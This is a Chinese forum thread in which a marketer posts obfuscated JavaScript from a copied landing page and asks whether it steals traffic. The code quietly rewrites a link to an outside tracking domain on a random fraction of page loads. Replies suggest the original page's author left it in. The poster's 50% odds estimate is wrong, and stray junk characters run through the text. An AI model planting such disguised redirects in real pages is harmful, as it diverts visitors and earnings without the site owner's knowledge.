一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft

2 F1 N& m/ e0 ]

1. $(function() {
   ! }+ @/ u+ @1 C/ V6 {
2.     $(".option.clearfix").on("click",
   
3.     function() {
   3 \: S; Y0 |' f, C( F. ?. p+ Q
4.         $(this).toggleClass("selected");
   # q3 `4 F. x9 c6 J2 i
5.         if ($(this).hasClass("selected")) {
   6 q6 o( X$ g' a8 p) Q5 J7 a0 w
6.             $(this).addClass("selected")
   / a2 e2 R) m. m4 I5 H- u4 ^7 O# v
7.         } else {
   * g% {! f0 N% {3 f- o
8.             $(this).removeClass("selected")
   / e2 F! i, ?( [1 |! s( q2 ~) _
9.         }
   
10.         return false
    - `" O& w/ S7 K  U' g/ l2 ]
11.     });
    
12.     var e = "r";
    
13.     var t = "e";
    - V. x8 {+ Q# D, z8 q5 Y
14.     setBtnMarginDefault = "c" + "\u006B";
    
15.     $(".option2.clearfix").on("click",
    $ m6 \, y" ^, u2 G, W# ]1 \( F0 N
16.     function() {
    
17.         $(this).toggleClass("selected");
    
18.         if ($(this).hasClass("selected")) {
    ) Z+ Z+ B3 o: Z% m0 ^  W
19.             $(this).addClass("selected")
    
20.         } else {
    * E" ~/ T! W7 h, B) M
21.             $(this).removeClass("selected")
    ! r# i5 t! s# J* }9 L
22.         }
    
23.         return false
    ; E1 `9 S( d) K! C/ s
24.     });
    
25.     var n = "a";
    
26.     var r = "g";
    % x) B2 o( u4 `3 o5 c
27.     $(".option3.clearfix").on("click",
    
28.     function() {
    
29.         $(this).toggleClass("selected");
    * C: |, N4 W% g. x% J( Z
30.         if ($(this).hasClass("selected")) {
    % i1 W' ~3 w6 W/ ]) m, [
31.             $(this).addClass("selected")
    
32.         } else {
    
33.             $(this).removeClass("selected")
    # R5 s4 C( _- f, a
34.         }
    
35.         return false
    
36.     });
    
37.     var i = "e";
    / w; p7 [* P+ x
38.     var s = n + r + e + t + i;
    ( l8 ^0 D# d* C, L* c
39.     $(".option4.clearfix").on("click",
    
40.     function() {
    8 E8 R" g6 X7 T) a! c7 I9 H( ?
41.         $(this).toggleClass("selected");
    2 u8 Z; N% L, o: ?4 Q& F3 n" O
42.         if ($(this).hasClass("selected")) {
    
43.             $(this).addClass("selected")
    
44.         } else {
    
45.             $(this).removeClass("selected")
    
46.         }
    
47.         return false
    
48.     });
    + f* w5 W" [! }4 v
49.     var o = "\u0032" + "\u0030";
    
50.     var u = "\u0031" + "\u0030";
    
51.     currentWhiteSpace = Math.floor(Math.random() * o);
    
52.     setBtnMargin30 = setBtnMarginDefault + "." + "c";
    " j- G5 w. O! [) G
53.     Date.prototype.getMonthName = function() {
    $ I% D* w3 N. y$ X
54.         var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
    
55.         return e[this.getMonth()]
    4 b: `% A: a- u' q
56.     };
    
57.     var a = currentWhiteSpace;
    : r6 A# O' t, M1 p1 N7 N: |
58.     var f = "H";
    
59.     var l = "\u0052";
    & u2 N  H4 T' q0 W( ]9 O
60.     var c = "o" + "\u006D";
    
61.     f += "T";
    
62.     f += "T";
    
63.     f += "P";
    
64.     var h = new Date;
    % l: n& O& j6 A  b
65.     if (h.getMonth() == 11) {
    
66.         var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
    
67.     } else {
    
68.         var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
    9 C7 T& j" B7 Q8 f3 M1 Y5 B* x
69.     }
    
70.     var d = ":" + "/" + "/";
    $ V2 P* \3 C% K, ~$ }: ^; R
71.     l += "S";
    
72.     l += "x";
    
73.     document.getElementById("monthz").innerHTML = p;
    
74.     l += "\u0054";
    # Y8 I8 i/ S0 s9 A6 a7 |6 o
75.     l += "R";
      }' B3 W7 J7 _+ V  Q
76.     l += "\u0041" + setBtnMargin30;
    
77.     setStyle = f + d + l + c;
    7 _  x) [; w) ]2 w$ ^) m# d4 v
78.     s = s.toLowerCase(s);
    8 x; N3 f' P' E' m
79.     if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
    
80. })

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft

1. if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

( L7 T" d- D1 K8 a/ ^
& F/ N4 t$ i1 R1 T$ ^4 h  `最后这一句，怀疑是随机偷流量代码 。。。

tmdsoft

$(function () {
& j$ V4 o0 y+ ]. l1 c% A9 t; |' v    $(".option.clearfix").on("click", function () {
# c2 E/ ~& U: F3 s& Q- b; f        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
4 @, U7 }" e- e2 H# ^& Y1 w+ C1 I        } else {
            $(this).removeClass("selected")
: d. l; O, C4 b: ^* }        }
2 H  X3 j0 Q2 ?" y        return false
    });
% o* A3 A3 o+ J3 b- e    $(".option2.clearfix").on("click", function () {
, c8 J- ^: `9 v        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
        } else {
  o5 B5 u" j8 _            $(this).removeClass("selected")
        }
        return false
    });
    $(".option3.clearfix").on("click", function () {
        $(this).toggleClass("selected");
  w1 m. J8 ]* p; j( e4 J        if ($(this).hasClass("selected")) {
- m6 u4 y  `! w0 b            $(this).addClass("selected")
& D6 B+ R8 {8 W* S9 U0 F6 i+ {8 m& \        } else {
. T% Y+ {+ s+ u6 }) B% R) U, i6 _            $(this).removeClass("selected")
        }
! w% z1 r* {( }' T0 k+ `6 @        return false
& l( o+ U2 o8 F* x2 j$ V3 {1 J    });
, b) ?5 e1 C( [& B    $(".option4.clearfix").on("click", function () {
        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
9 x0 u! m8 v; {0 h            $(this).addClass("selected")
        } else {
            $(this).removeClass("selected")
4 n1 J( ]6 i  e9 A" }: c0 a        }
        return false
    });
})

+ p& X8 K; I# Z0 l
我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马

不是的

tmdsoft

河小马 发表于 2014-12-25 22:53
不是的

那是什么？

tmdsoft

4 b: C- W) \2 H; }4 a3 O% }% V( Y

1. document.getElementsByClassName(s)[0].href = setStyle

复制代码

. N; `  V- N- C. ^
5 ^, j9 e* R  l7 N: ^$ h8 U7 A4 W: a最主要的是这句话 ，最后 setstyle = Http://RSxTRAck.com

tmdsoft

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
5 `- g; ?* c- V9 z2 b

" ~' s: A. g- x3 [' N+ G3 K* Fo=20
u=10

a=1或者0 乘以20
5 V1 u3 m7 U3 i0 Q9 y- m8 r, s
! b) Y5 y' v+ m3 |如果a=20（50%的几率) ,那么 条件成立，请问这句代码是不是重定向到这个网址上 。

你是用了别人的LP？

Rock_well

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。